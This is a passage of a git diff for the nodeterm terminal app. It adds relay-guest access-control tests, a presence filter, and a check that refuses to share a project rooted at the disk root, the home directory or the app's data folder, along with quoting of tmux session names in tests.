hooks.access!(null as never, kind, m, a)+ expect(access('cast', IPC.canvasMut, ['alpha', upsert('orphan-1')]).allow).toBe(true)+ held['orphan-1'] = ['alpha'] // the host's debounced save landed+ expect(access('req', IPC.ptySendText, ['orphan-1', 'id', true]).allow).toBe(false)+ expect(access('cast', IPC.ptyWrite, ['s-orphan', 'id\r']).allow).toBe(false)+ const d = access('req', IPC.ptyCreate, [{ persistKey: 'orphan-1' }])+ expect(d.allow && (d.args?.[0] as Record<string, unknown>).newOnly).toBe(true)+ })++ it('becomes the guest\'s own only on the core\'s word that ITS create spawned the session', () => {+ const sessions: Record<string, string> = { 's-new': 'mine-1', 's-joined': 'mine-2' }+ const hooks = scopedGuestHooks('alpha', sshDeps(sessions))+ const access = (kind: 'req' | 'cast', m: string, a: unknown[]) => hooks.access!(null as never, kind, m, a)+ access('cast', IPC.canvasMut, ['alpha', upsert('mine-1')])+ access('cast', IPC.canvasMut, ['alpha', upsert('mine-2')])+ // A refusal, a join (fresh:false), and a guessed fresh all leave it pending.+ hooks.narrowResponse!(null as never, IPC.ptyCreate, { sessionId: '', fresh: false, unavailable: 'new-only' })+ hooks.narrowResponse!(null as never, IPC.ptyCreate, { sessionId: 's-joined', fresh: false })+ hooks.narrowResponse!(null as never, IPC.ptyCreate, { sessionId: 's-joined', fresh: true, freshUnverified: true })+ expect(access('req', IPC.ptySendText, ['mine-2', 'x', true]).allow).toBe(false)+ // Its own fresh spawn: from now on a node of the shared project.+ hooks.narrowResponse!(null as never, IPC.ptyCreate, { sessionId: 's-new', fresh: true })+ expect(access('req', IPC.ptySendText, ['mine-1', 'x', true]).allow).toBe(true)+ expect(access('cast', IPC.ptyWrite, ['s-new', 'x']).allow).toBe(true)+ const d = access('req', IPC.ptyCreate, [{ persistKey: 'mine-1' }])+ expect(d.allow && (d.args?.[0] as Record<string, unknown>).newOnly).toBeUndefined()+ expect(access('req', IPC.ptySendText, ['mine-2', 'x', true]).allow).toBe(false)+ })++ it('a pending node\'s terminal bytes and events never reach the guest; a created one\'s do', () => {+ const sessions: Record<string, string> = { 's-pending': 'p-1', 's-mine': 'c-1' }+ const hooks = scopedGuestHooks('alpha', sshDeps(sessions))+ hooks.access!(null as never, 'cast', IPC.canvasMut, ['alpha', upsert('p-1')])+ hooks.access!(null as never, 'cast', IPC.canvasMut, ['alpha', upsert('c-1')])+ hooks.narrowResponse!(null as never, IPC.ptyCreate, { sessionId: 's-mine', fresh: true })+ const bin: string[] = []+ const text: string[] = []+ const sink = hooks.wrapSink!(null as never, { sendText: (j) => text.push(j), sendBinary: (b) => bin.push(Buffer.from(b).toString()) })+ sink.sendBinary(encodePtyData('s-pending', 'SECRET'))+ sink.sendBinary(encodePtyData('s-mine', 'ok'))+ expect(bin).toHaveLength(1)+ sink.sendText(JSON.stringify({ t: 'ev', channel: IPC.agentStatus, args: [{ nodeId: 'p-1' }] }))+ sink.sendText(JSON.stringify({ t: 'ev', channel: IPC.agentStatus, args: [{ nodeId: 'c-1' }] }))+ expect(text).toHaveLength(1)+ })++ it('an id that aliases another session name, or past the bound, is not introduced', () => {+ const hooks = scopedGuestHooks('alpha', sshDeps())+ const cast = (id: string) => hooks.access!(null as never, 'cast', IPC.canvasMut, ['alpha', upsert(id)]).allow+ // `sessionName` rewrites these characters, so two ids could name ONE tmux session.+ for (const bad of ['a.b', 'a_b', 'a b', 'a/b', 'x'.repeat(129)]) expect(cast(bad), bad).toBe(false)+ for (let i = 0; i < INTRODUCED_MAX; i++) expect(cast(`n-${i}`)).toBe(true)+ expect(cast('n-one-too-many')).toBe(false)+ // Its own pending nodes can still be moved.+ expect(cast('n-0')).toBe(true)+ })++ it('earlier item (b): an orphan exact id is pending too — its create may only spawn, never join', () => {+ const hooks = scopedGuestHooks('alpha', { ...deps(), projectsOfNode: () => [] })+ expect(hooks.access!(null as never, 'cast', IPC.canvasMut, ['alpha', upsert('term-orphan-1')]).allow).toBe(true)+ const d = hooks.access!(null as never, 'req', IPC.ptyCreate, [{ persistKey: 'term-orphan-1' }])+ expect(d.allow && (d.args?.[0] as Record<string, unknown>).newOnly).toBe(true)+ expect(hooks.access!(null as never, 'req', IPC.ptyCapture, ['term-orphan-1', true]).allow).toBe(false)+ })++ it('a pending id another project has since taken (a git pull) is refused outright', () => {+ const held: Record<string, string[]> = {}+ const hooks = scopedGuestHooks('alpha', sshDeps({}, held))+ hooks.access!(null as never, 'cast', IPC.canvasMut, ['alpha', upsert('taken-1')])+ held['taken-1'] = ['beta']+ expect(hooks.access!(null as never, 'req', IPC.ptyCreate, [{ persistKey: 'taken-1' }]).allow).toBe(false)+ expect(hooks.access!(null as never, 'cast', IPC.canvasMut, ['alpha', upsert('taken-1')]).allow).toBe(false)+ })+})++describe('scoped guest — presence is the shared project\'s only (security audit (a))', () => {+ const ev = (channel: string, ...args: unknown[]) => JSON.stringify({ t: 'ev', channel, args })+ const peer = (clientId: number, projectId: string | null, extra: Record<string, unknown> = {}) => ({+ clientId, name: `p${clientId}`, color: '#5ac8fa', cursor: { x: 1, y: 2 }, focus: null, chat: null,+ typing: null, projectId, dino: null, kind: 'desktop', ...extra+ })+ const rig = () => {+ const hooks = scopedGuestHooks('alpha', deps())+ const got: Array<{ channel: string; arg: unknown }> = []+ const sink = hooks.wrapSink!(null as never, {+ sendText: (j) => { const m = JSON.parse(j); got.push({ channel: m.channel, arg: m.args[0] }) },+ sendBinary: () => {}+ })+ return { sink, got }+ }+ it('a sync lists only peers on the shared project, with node references outside it nulled', () => {+ const { sink, got } = rig()+ sink.sendText(ev(IPC.presenceSync, [+ peer(1, 'beta', { focus: 'b1', chat: 'the staging db password is hunter2', typing: { nodeId: 'b1', at: 1 } }),+ peer(2, 'alpha', { focus: 'a1', typing: { nodeId: 'b1', at: 1 } }),+ peer(3, null)+ ]))+ expect(got).toEqual([{ channel: IPC.presenceSync, arg: [expect.objectContaining({ clientId: 2, focus: 'a1', typing: null })] }])+ expect(JSON.stringify(got)).not.toContain('hunter2')+ expect(JSON.stringify(got)).not.toContain('b1')+ })+ it('a peer moving in is joined, moving out is left, and nothing in between leaks', () => {+ const { sink, got } = rig()+ sink.sendText(ev(IPC.presenceSync, [peer(1, 'beta')]))+ got.length = 0+ sink.sendText(ev(IPC.presencePeer, { op: 'update', clientId: 1, patch: { chat: 'secret elsewhere', focus: 'b1' } }))+ expect(got).toEqual([])+ sink.sendText(ev(IPC.presencePeer, { op: 'update', clientId: 1, patch: { projectId: 'alpha' } }))+ expect(got).toEqual([{ channel: IPC.presencePeer, arg: { op: 'join', peer: expect.objectContaining({ clientId: 1, projectId: 'alpha', focus: null }) } }])+ expect(JSON.stringify(got)).not.toContain('secret elsewhere')+ got.length = 0+ sink.sendText(ev(IPC.presencePeer, { op: 'update', clientId: 1, patch: { focus: 'a1' } }))+ sink.sendText(ev(IPC.presencePeer, { op: 'update', clientId: 1, patch: { focus: 'b1' } }))+ expect(got.map((g) => g.arg)).toEqual([+ { op: 'update', clientId: 1, patch: { focus: 'a1' } },+ { op: 'update', clientId: 1, patch: { focus: null } }+ ])+ got.length = 0+ sink.sendText(ev(IPC.presencePeer, { op: 'update', clientId: 1, patch: { projectId: 'beta' } }))+ expect(got).toEqual([{ channel: IPC.presencePeer, arg: { op: 'leave', clientId: 1 } }])+ got.length = 0+ sink.sendText(ev(IPC.presencePeer, { op: 'join', peer: peer(9, 'beta') }))+ sink.sendText(ev(IPC.presencePeer, { op: 'leave', clientId: 9 }))+ expect(got).toEqual([])+ })+ it('context:update reaches the guest only for a session of the shared project', () => {+ const hooks = scopedGuestHooks('alpha', { ...deps(), nodesOfAgentSession: (sid) => (sid === 'sa' ? ['a1'] : sid === 'sb' ? ['b1'] : []) })+ const got: string[] = []+ const sink = hooks.wrapSink!(null as never, { sendText: (j) => got.push(j), sendBinary: () => {} })+ sink.sendText(ev(IPC.contextUpdate, { sessionId: 'sa', usedTokens: 1, model: 'm' }))+ sink.sendText(ev(IPC.contextUpdate, { sessionId: 'sb', usedTokens: 1, model: 'm' }))+ sink.sendText(ev(IPC.contextUpdate, { sessionId: 'unknown', usedTokens: 1, model: 'm' }))+ sink.sendText(ev(IPC.contextUpdate, { nodeId: 'b1', sessionId: 'sa', usedTokens: 1, model: 'm' }))+ expect(got).toHaveLength(1)+ expect(got[0]).toContain('"sa"')+ })+})++describe('scoped guest — a share rooted at the home directory or the disk root is never served (F4)', () => {+ it('refuses every request when the shared folder is the home directory, or contains it', () => {+ for (const cwd of [tmp, root]) {+ const home = cwd === tmp ? path.join(tmp, 'alpha') : root // root itself, or an ancestor of it+ const d = decideScopedAccess('alpha', { ...deps(), homeDir: home, projectCwd: () => cwd }, IPC.fsRead, [path.join(root, 'src', 'a.ts')])+ expect(d.allow).toBe(false)+ expect(d.allow === false && d.message).toMatch(/home directory/)+ }+ const slash = decideScopedAccess('alpha', { ...deps(), projectCwd: () => '/' }, IPC.workspaceLoad, [])+ expect(slash.allow === false && slash.message).toMatch(/root of the disk/)+ // An ordinary project folder BELOW the home directory is served as before.+ expect(decideScopedAccess('alpha', { ...deps(), homeDir: tmp }, IPC.fsRead, [path.join(root, 'src', 'a.ts')]).allow).toBe(true)})})diff --git a/src/core/relay/scoped-guest-policy.ts b/src/core/relay/scoped-guest-policy.tsindex a18fd6ea9..4dd1519d1 100644--- a/src/core/relay/scoped-guest-policy.ts+++ b/src/core/relay/scoped-guest-policy.ts@@ -32,6 +32,7 @@ import { IPC } from '../../shared/ipc'import type { UiSink } from '../ui-sink-registry'import type { AccessDecision, RelayHostHooks } from './relay-host'import {+ createPresenceFilter,filterOutboundBinary,filterOutboundEvent,narrowResponseForRole,@@ -40,6 +41,7 @@ import {type AccessContext,type SubagentOwners} from './access-policy'+import { shareRootProblem } from './share-root'export interface ScopedGuestDeps {/** EVERY project that holds this node id, from the persisted canvases ([] = none). */@@ -60,6 +62,11 @@ export interface ScopedGuestDeps {realpath?(p: string): string | null/** Does the path exist AS AN ENTRY (lstat — a dangling symlink counts)? Injected for tests. */lexists?(p: string): boolean+ /** The host user's home directory (`shareRootProblem`). Absent = `os.homedir()`. */+ homeDir?: string+ /** The nodes whose current AGENT session is this id (the agent-status mirror). Lets a+ * `context:update` without a `nodeId` be attributed; absent = such an update is never delivered. */+ nodesOfAgentSession?(agentSessionId: string): readonly string[]}type Check = (args: unknown[], s: Scope) => AccessDecision@@ -328,9 +335,10 @@ const ptyCreate: Check = (a, s) => {/*** `canvas:mut` (projectId, mutation): only into the shared project, and only for a node that is in- * scope or that NO project holds yet (a node the guest is creating — recorded, so its `pty:create`- * is accepted before the host's debounced save lands). An upsert of another project's node id is- * refused: applied, it would put that id in the shared project and hand this session its terminal.+ * scope or that NO project holds yet (a node the guest is creating — recorded as PENDING, so its+ * `pty:create` is accepted, as a spawn only, before the host's debounced save lands; see+ * `Introduced`). An upsert of another project's node id is refused: applied, it would put that id in+ * the shared project and hand this session its terminal.*/const canvasMut: Check = (a, s) => {if (a[0] !== s.projectId) return no(OUTSIDE)@@ -602,8 +610,25 @@ export function noteCreate(result: unknown, s: Scope): void {if (node !== undefined && pendingHere(node, s)) s.introduced.set(node, 'created')}+/**+ * Why this scope must not be served at all, or null. A shared project whose folder is the disk root,+ * the home directory or an ancestor of either (or of this app's data dir) would hand the guest every+ * file under it, `~/.ssh` included (security audit F4). The invite UI refuses such a project and so+ * does the seat mint (relay-host-service `addSeat`); this is the gate the UI is not: every request+ * of such a session is refused. An SSH project (no local folder) has nothing to judge.+ */+function scopeProblem(s: Scope): string | null {+ return shareRootProblem(s.deps.projectCwd(s.projectId), {+ home: s.deps.homeDir,+ dataDir: s.deps.hostDataDir,+ realpath: s.deps.realpath+ })+}+function decideWith(method: string, args: unknown[], s: Scope): AccessDecision {if (typeof method !== 'string' || !Object.hasOwn(SCOPED, method)) return no(NOT_SCOPED)+ const problem = scopeProblem(s)+ if (problem) return no(problem)return SCOPED[method](Array.isArray(args) ? args : [], s)}@@ -629,7 +654,9 @@ function viewCtx(s: Scope): AccessContext {projectCwds: () => (typeof root === 'string' && root ? [root] : []),hostDataDir: s.deps.hostDataDir,realpath: s.deps.realpath,- isFile: () => false+ isFile: () => false,+ ...(s.deps.homeDir !== undefined ? { homeDir: s.deps.homeDir } : {}),+ ...(s.deps.nodesOfAgentSession ? { nodesOfAgentSession: (sid: string) => s.deps.nodesOfAgentSession!(sid) } : {})}}@@ -670,6 +697,9 @@ export function scopedGuestHooks(projectId: string, deps: ScopedGuestDeps): Relaaccess: (_session, _kind, method, args) => decideWith(method, args, s),wrapSink: (_session, sink: UiSink): UiSink => {const owners: SubagentOwners = new Map()+ // Presence is rewritten per peer: only peers on the shared project, no node reference outside+ // it (access-policy.ts `createPresenceFilter`, security audit (a)).+ const presence = createPresenceFilter()const safe = (judge: () => boolean): boolean => {try {return judge()@@ -679,10 +709,21 @@ export function scopedGuestHooks(projectId: string, deps: ScopedGuestDeps): Rela}return {sendText: (json) => {- // Admitted events are sent with project documents' exec fields removed (held launch- // commands, session programs, ssh options): the guest reads the shared project's canvas,- // not the command lines this machine holds for it.- if (safe(() => filterScopedEvent(json, s, owners))) sink.sendText(redactOutboundEvent(json))+ let out: string | null = null+ const deliver = safe(() => {+ const p = presence.handle(json, () => viewCtx(s))+ if (p !== undefined) {+ out = p+ return p !== null+ }+ if (!filterScopedEvent(json, s, owners)) return false+ // Admitted events are sent with project documents' exec fields removed (held launch+ // commands, session programs, ssh options): the guest reads the shared project's canvas,+ // not the command lines this machine holds for it.+ out = redactOutboundEvent(json)+ return true+ })+ if (deliver && out !== null) sink.sendText(out)},sendBinary: (buf) => {if (safe(() => filterOutboundBinary(buf, viewCtx(s)))) sink.sendBinary(buf)diff --git a/src/core/relay/share-root.test.ts b/src/core/relay/share-root.test.tsnew file mode 100644index 000000000..db5f27226--- /dev/null+++ b/src/core/relay/share-root.test.ts@@ -0,0 +1,45 @@+// Security audit F4: a project whose folder is the disk root or the home directory (or contains it)+// would hand every relay peer every file under it, `~/.ssh` included.+import { describe, it, expect } from 'vitest'+import fs from 'node:fs'+import os from 'node:os'+import path from 'node:path'+import { SHARE_ROOT_REFUSAL, shareRootProblem } from './share-root'++const id = (p: string): string => p++describe('shareRootProblem', () => {+ const home = '/home/ada'+ const dataDir = '/home/ada/.config/node-terminal'+ const ask = (cwd: string | undefined) => shareRootProblem(cwd, { home, dataDir, realpath: id })+ it('refuses the disk root, the home directory and every ancestor of it', () => {+ expect(ask('/')).toBe(SHARE_ROOT_REFUSAL.root)+ expect(ask('/home/ada')).toBe(SHARE_ROOT_REFUSAL.home)+ expect(ask('/home/ada/')).toBe(SHARE_ROOT_REFUSAL.home)+ expect(ask('/home')).toBe(SHARE_ROOT_REFUSAL.homeAncestor)+ })+ it('refuses the app data dir and its ancestors below the home', () => {+ expect(ask('/home/ada/.config')).toBe(SHARE_ROOT_REFUSAL.dataDir)+ expect(ask(dataDir)).toBe(SHARE_ROOT_REFUSAL.dataDir)+ })+ it('allows an ordinary project folder, a sibling of the home, and no folder at all', () => {+ expect(ask('/home/ada/code/app')).toBeNull()+ expect(ask('/home/adam')).toBeNull()+ expect(ask('/srv/app')).toBeNull()+ expect(ask(undefined)).toBeNull()+ expect(ask('relative/dir')).toBeNull()+ })+ // POSIX symlinks; on Windows a directory symlink needs privileges the CI runner may not have.+ it.skipIf(process.platform === 'win32')('compares REAL paths: a symlink to the home directory is the home directory', () => {+ const tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'share-root-')))+ try {+ const realHome = path.join(tmp, 'home')+ fs.mkdirSync(realHome)+ fs.symlinkSync(realHome, path.join(tmp, 'link'))+ expect(shareRootProblem(path.join(tmp, 'link'), { home: realHome })).toBe(SHARE_ROOT_REFUSAL.home)+ expect(shareRootProblem(realHome, { home: path.join(tmp, 'link') })).toBe(SHARE_ROOT_REFUSAL.home)+ } finally {+ fs.rmSync(tmp, { recursive: true, force: true })+ }+ })+})diff --git a/src/core/relay/share-root.ts b/src/core/relay/share-root.tsnew file mode 100644index 000000000..d0490cab7--- /dev/null+++ b/src/core/relay/share-root.ts@@ -0,0 +1,73 @@+// Is this folder too broad to SHARE with a relay peer (a Team Access scoped guest, a hosted team's+// Viewers and Commenters)?+//+// What a shared folder hands out: every file under it is readable by every peer, Viewers included+// (the fs jail is the shared root minus this app's data dir, and nothing else). A project rooted at+// the host's home directory therefore hands out `~/.ssh`, the agents' credentials and nodeterm's own+// hook tokens; one rooted at `/` hands out the machine (security audit F4, 2026-10). The Share with+// team flow already refuses those folders (shared/share-team.ts `sharePlan`, workspace-store+// `adoptFolderNow`); this is the same rule for every other way a folder becomes shared.+//+// Refused: the filesystem root, the home directory, any ANCESTOR of the home directory, and the data+// directory or any ancestor of it. Compared on REAL paths, segment by segment, so a symlinked project+// folder or home cannot slip past. A folder BELOW the home directory is the ordinary case and is fine.+import os from 'node:os'+import fs from 'node:fs'+import path from 'node:path'++/** `p` is `root` or below it. Relative-path based, so a sibling like `/srv/app2` is not inside+ * `/srv/app`, a root of `/` contains everything, and a path on another Windows drive is outside.+ * (The one definition; access-policy.ts re-exports it.) */+export function within(root: string, p: string): boolean {+ const rel = path.relative(root, p)+ return rel === '' || (rel !== '..' && !rel.startsWith('..' + path.sep) && !path.isAbsolute(rel))+}++export const SHARE_ROOT_REFUSAL = Object.freeze({+ root: "This project's folder is the root of the disk. Whoever you share it with could read every file on this machine. Move the project into its own folder, then share it.",+ home: "This project's folder is your home directory. Whoever you share it with could read every file in it, your SSH keys included. Move the project into its own folder, then share it.",+ homeAncestor:+ "This project's folder contains your home directory. Whoever you share it with could read every file in it, your SSH keys included. Move the project into its own folder, then share it.",+ dataDir:+ "This project's folder contains nodeterm's own data folder. Move the project into its own folder, then share it."+})++export interface ShareRootDeps {+ /** The host user's home directory. Default `os.homedir()`. */+ home?: string+ /** This app's own data directory (userData / the server's data dir). */+ dataDir?: string+ /** `fs.realpathSync`, null when the path does not resolve. Injected for tests. */+ realpath?(p: string): string | null+}++const defaultRealpath = (p: string): string | null => {+ try {+ return fs.realpathSync(p)+ } catch {+ return null+ }+}++/**+ * Why `cwd` may not be shared with a relay peer, or null when it may. A cwd that is not an absolute+ * path is not a root at all (the jail refuses every path against it), so it answers null here; an+ * SSH project (no local folder) likewise.+ */+export function shareRootProblem(cwd: string | undefined | null, deps: ShareRootDeps = {}): string | null {+ if (typeof cwd !== 'string' || !path.isAbsolute(cwd)) return null+ const realpath = deps.realpath ?? defaultRealpath+ const real = realpath(path.resolve(cwd)) ?? path.resolve(cwd)+ if (path.parse(real).root === real) return SHARE_ROOT_REFUSAL.root+ const home = deps.home ?? os.homedir()+ if (typeof home === 'string' && path.isAbsolute(home)) {+ const homeReal = realpath(path.resolve(home)) ?? path.resolve(home)+ if (within(real, homeReal)) return real === homeReal ? SHARE_ROOT_REFUSAL.home : SHARE_ROOT_REFUSAL.homeAncestor+ }+ const dataDir = deps.dataDir+ if (typeof dataDir === 'string' && path.isAbsolute(dataDir)) {+ const dataReal = realpath(path.resolve(dataDir)) ?? path.resolve(dataDir)+ if (within(real, dataReal)) return SHARE_ROOT_REFUSAL.dataDir+ }+ return null+}diff --git a/src/main/index.ts b/src/main/index.tsindex 0a4f79955..de274c022 100644--- a/src/main/index.ts+++ b/src/main/index.ts@@ -247,7 +247,8 @@ import {workingNodes,mirrorEntry,pendingTicketsFor,- openAskFor+ openAskFor,+ nodesForAgentSession} from '../core/agent-status-mirror'import { mirrorCustomAgents } from '../core/mirror-custom-agents'import { paneOwnerProject } from '../core/agents/pane-ownership'@@ -5092,7 +5093,10 @@ app.whenReady().then(async () => {nodeOfSession: (sessionId) => ptyManager.nodeOfSession(sessionId),projectCwd: (projectId) => workspaceStore.localCwdForProject(projectId),projectIsRemote: (projectId) => !!workspaceStore.projectTargetInfo(projectId)?.ssh,- hostDataDir: app.getPath('userData')+ hostDataDir: app.getPath('userData'),+ // A `context:update` is keyed by the agent session; the mirror says which node runs it, so a+ // guest gets a meter only for a session of the shared project.+ nodesOfAgentSession: (sessionId) => nodesForAgentSession(sessionId)}})// Standing (phone) relay host: keep a host connection registered so a paired phone can reachdiff --git a/src/main/remote-ssh/ssh-project.killSessions.test.ts b/src/main/remote-ssh/ssh-project.killSessions.test.tsindex e090fca97..1604f7b89 100644--- a/src/main/remote-ssh/ssh-project.killSessions.test.ts+++ b/src/main/remote-ssh/ssh-project.killSessions.test.ts@@ -48,8 +48,8 @@ describe('SshProjectManager.killSessions', () => {const { mgr, runs } = managerWithConn()await mgr.killSessions('p1', ['abc'], { everySocket: true })expect(commands(runs)).toEqual([- `${TP}tmux -L node-terminal kill-session -t =nt-abc`,- `${TP}tmux -L nodeterm-rmt kill-session -t =nt-abc`+ `${TP}tmux -L node-terminal kill-session -t '=nt-abc'`,+ `${TP}tmux -L nodeterm-rmt kill-session -t '=nt-abc'`])})@@ -58,13 +58,13 @@ describe('SshProjectManager.killSessions', () => {// that host belongs to a nodeterm running ON it, so a delete must not speculate there.const { mgr, runs } = managerWithConn()await mgr.killSessions('p1', ['abc'])- expect(commands(runs)).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t =nt-abc`])+ expect(commands(runs)).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t '=nt-abc'`])})it('demands a literal true — the flag comes off the wire', async () => {const { mgr, runs } = managerWithConn()await mgr.killSessions('p1', ['abc'], { everySocket: 'yes' as unknown as boolean })- expect(commands(runs)).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t =nt-abc`])+ expect(commands(runs)).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t '=nt-abc'`])})it('is best-effort: a socket that refuses does not spare the others', async () => {@@ -79,10 +79,10 @@ describe('SshProjectManager.killSessions', () => {const { mgr, runs } = managerWithConn()await mgr.killSessions('p1', ['a', 'b'], { everySocket: true })expect(commands(runs)).toEqual([- `${TP}tmux -L node-terminal kill-session -t =nt-a`,- `${TP}tmux -L node-terminal kill-session -t =nt-b`,- `${TP}tmux -L nodeterm-rmt kill-session -t =nt-a`,- `${TP}tmux -L nodeterm-rmt kill-session -t =nt-b`+ `${TP}tmux -L node-terminal kill-session -t '=nt-a'`,+ `${TP}tmux -L node-terminal kill-session -t '=nt-b'`,+ `${TP}tmux -L nodeterm-rmt kill-session -t '=nt-a'`,+ `${TP}tmux -L nodeterm-rmt kill-session -t '=nt-b'`])})diff --git a/src/main/remote-ssh/ssh-project.pendingKills.test.ts b/src/main/remote-ssh/ssh-project.pendingKills.test.tsindex 8d27cc9d8..714589697 100644--- a/src/main/remote-ssh/ssh-project.pendingKills.test.ts+++ b/src/main/remote-ssh/ssh-project.pendingKills.test.ts@@ -66,7 +66,7 @@ describe('SshProjectManager: settling owed remote kills on connect', () => {await settle(mgr)- expect(runs.map((r) => r.at(-1))).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t =nt-abc`])+ expect(runs.map((r) => r.at(-1))).toEqual([`${TP}tmux -L nodeterm-rmt kill-session -t '=nt-abc'`])expect(await pendingRemoteKillsFor(HOST)).toEqual([])})diff --git a/src/main/remote/relay-host-service.test.ts b/src/main/remote/relay-host-service.test.tsindex a863b5334..f6e5df452 100644--- a/src/main/remote/relay-host-service.test.ts+++ b/src/main/remote/relay-host-service.test.ts@@ -709,6 +709,51 @@ describe('initRelayHost — Team Access start() aliases invite (additive)', () =})})+// Security audit F4: a project whose folder is the disk root or the home directory (or contains it)+// would hand the guest every file under it, `~/.ssh` included. The invite UI greys it out; the host+// refuses to MINT such a seat, whatever the renderer sent.+describe('initRelayHost — a share rooted at the home directory is refused host-side', () => {+ const wire = () => {+ const win = fakeWin()+ const connect = vi.fn(() => makeFakeSession(0) as unknown as RelayHostSession)+ initRelayHost(win as never, platform, {+ loadKeys: async () => genKeyPair(),+ mintToken: async () => ({ pairingToken: 'tok' }),+ isPremium: () => true,+ relayAllowed: () => true,+ getEntitlement: () => 'ent',+ licensedSeats: () => 3,+ connect,+ scope: {+ projectsOfNode: () => [],+ nodeOfSession: () => undefined,+ projectCwd: (id) => ({ home: '/home/ada', root: '/', parent: '/home', app: '/home/ada/code/app' })[id],+ homeDir: '/home/ada',+ hostDataDir: '/home/ada/.config/node-terminal',+ realpath: (p) => p+ }+ })+ return { connect }+ }+ it('start and invite refuse it, before any token is minted or socket opened', async () => {+ const { connect } = wire()+ for (const projectId of ['home', 'root', 'parent']) {+ await expect(h.handlers[IPC.relayHostStart]({}, projectId)).rejects.toThrow(/home directory|root of the disk/)+ await expect(h.handlers[IPC.relayHostInvite]({}, { projectId })).rejects.toThrow(/home directory|root of the disk/)+ }+ expect(connect).not.toHaveBeenCalled()+ await h.handlers[IPC.relayHostStart]({}, 'app')+ expect(connect).toHaveBeenCalledTimes(1)+ })+ it('scope-problems names exactly the refused projects, with the reason', () => {+ wire()+ const out = h.handlers[IPC.relayHostScopeProblems]({}, ['home', 'root', 'parent', 'app', 'unknown', 42]) as Record<string, string>+ expect(Object.keys(out).sort()).toEqual(['home', 'parent', 'root'])+ expect(out.home).toMatch(/home directory/)+ expect(h.handlers[IPC.relayHostScopeProblems]({}, 'not-a-list')).toEqual({})+ })+})+// ── Board-log bridged to the host over the relay tunnel ──────────────────────────────────────────// A relay guest reads and writes the HOST project's board-log through the SAME registry-jailed core// handlers the host's own renderer uses (registerBoardLogHandlers). The board-log-specific relaydiff --git a/src/main/remote/relay-host-service.ts b/src/main/remote/relay-host-service.tsindex c611461b9..e53eef9b9 100644--- a/src/main/remote/relay-host-service.ts+++ b/src/main/remote/relay-host-service.ts@@ -38,6 +38,7 @@ import { isPremium as licenseIsPremium, getStoredEntitlement, licensedSeats as limport { RELAY_URL, relayAllowed as hostRelayAllowed, mintPairingToken } from './host-service'import { canAcceptSeat } from './seat-cap'import type { ScopedGuestDeps } from '../../core/relay/scoped-guest-policy'+import { shareRootProblem } from '../../core/relay/share-root'import { revokePeerKey } from './peer-revoke'/** Thrown (as an Error message) when a new invite would exceed the licensed seat cap. The renderer@@ -120,7 +121,21 @@ export function initRelayHost(* await, then filled in once the listener is wired. Returns the offer to hand to the invited device* plus the seat's renderer `id`.*/+ /** Why this project may not be the scope of an invite, or null (share-root.ts): a folder that is the+ * disk root, the home directory or an ancestor of either (or of userData) would hand the guest every+ * file under it. The UI greys such a project out; this is the gate. */+ function scopeRefusal(projectId: string | undefined): string | null {+ if (!projectId || !deps.scope) return null+ return shareRootProblem(deps.scope.projectCwd(projectId), {+ home: deps.scope.homeDir,+ dataDir: deps.scope.hostDataDir,+ realpath: deps.scope.realpath+ })+ }+async function addSeat({ projectId, email }: AddSeatOptions): Promise<{ offer: string; id: string }> {+ const refusal = scopeRefusal(projectId)+ if (refusal) throw new Error(refusal)if (!isPremium()) {throw new Error('Remote access requires nodeterm Pro.')}@@ -224,6 +239,19 @@ export function initRelayHost(addSeat({ projectId: opts?.projectId, email: opts?.email }))+ // Which of these projects may NOT be shared, and why (the invite UI disables them with the reason).+ // Host-only (`relay:host:` prefix): a relay peer can never ask it.+ ipcMain.handle(IPC.relayHostScopeProblems, (_e, projectIds: unknown): Record<string, string> => {+ const out: Record<string, string> = {}+ if (!Array.isArray(projectIds)) return out+ for (const id of projectIds.slice(0, 1000)) {+ if (typeof id !== 'string') continue+ const problem = scopeRefusal(id)+ if (problem) out[id] = problem+ }+ return out+ })+// The human compared the SAS and pressed Confirm → advance the trust gate for THAT peer. Only the// session named by the id is touched; an unknown id (stale event) or a reserved-not-yet-open seat is// a no-op.diff --git a/src/preload/index.ts b/src/preload/index.tsindex 0dbfbbb6d..92e046f42 100644--- a/src/preload/index.ts+++ b/src/preload/index.ts@@ -770,6 +770,7 @@ const api: NodeTerminalApi = {invite: (opts?: { projectId?: string; email?: string }) =>ipcRenderer.invoke(IPC.relayHostInvite, opts ?? {}),stop: () => ipcRenderer.invoke(IPC.relayHostStop),+ scopeProblems: (projectIds: string[]) => ipcRenderer.invoke(IPC.relayHostScopeProblems, projectIds),revoke: (id: string) => ipcRenderer.send(IPC.relayHostRevoke, { id }),onPeerPending: subscribeRelayPeerPending,confirm: (id: string) => ipcRenderer.send(IPC.relayHostConfirm, { id }),diff --git a/src/renderer/bridge/stubs.ts b/src/renderer/bridge/stubs.tsindex d8a4ee53f..27edcc4e4 100644--- a/src/renderer/bridge/stubs.ts+++ b/src/renderer/bridge/stubs.ts@@ -526,6 +526,8 @@ export function buildStubApi(): Omit<start: U('relayHost.start'),invite: U('relayHost.invite'),stop: U('relayHost.stop'),+ // Nothing can be hosted here (start/invite are unsupported), so nothing is refused either.+ scopeProblems: async () => ({}),revoke: noop,onPeerPending: noopUnsub,confirm: noop,diff --git a/src/renderer/components/RemoteAccessDialog.tsx b/src/renderer/components/RemoteAccessDialog.tsxindex 72db52a1b..eb247724c 100644--- a/src/renderer/components/RemoteAccessDialog.tsx+++ b/src/renderer/components/RemoteAccessDialog.tsx@@ -4,7 +4,8 @@ import { createPortal } from 'react-dom'import { useDialogStack } from './dialog-stack'import { useEntitlement } from '../state/entitlement'import { useProjects } from '../state/projects'-import { hostShareOptions, relayShareGrantCopy } from '../lib/relayHostShare'+import { relayShareGrantCopy } from '../lib/relayHostShare'+import { useHostShareChoice } from '../lib/useHostShareChoice'import { thisMachine } from '../lib/machineName'import { Button } from '@renderer/ui/Button'import { CopyButton } from '@renderer/ui/CopyButton'@@ -32,12 +33,15 @@ export function RemoteAccessDialog({ onClose }: { onClose: () => void }): React.// Which project this host shares with the joiner. Default = the active project (hoisted first// by hostShareOptions); the user can pick any other OPEN project before minting the offer.- const shareOptions = hostShareOptions(projects, activeProjectId)- const [shareId, setShareId] = useState('')- const effectiveShareId = shareOptions.some((o) => o.id === shareId)- ? shareId- : 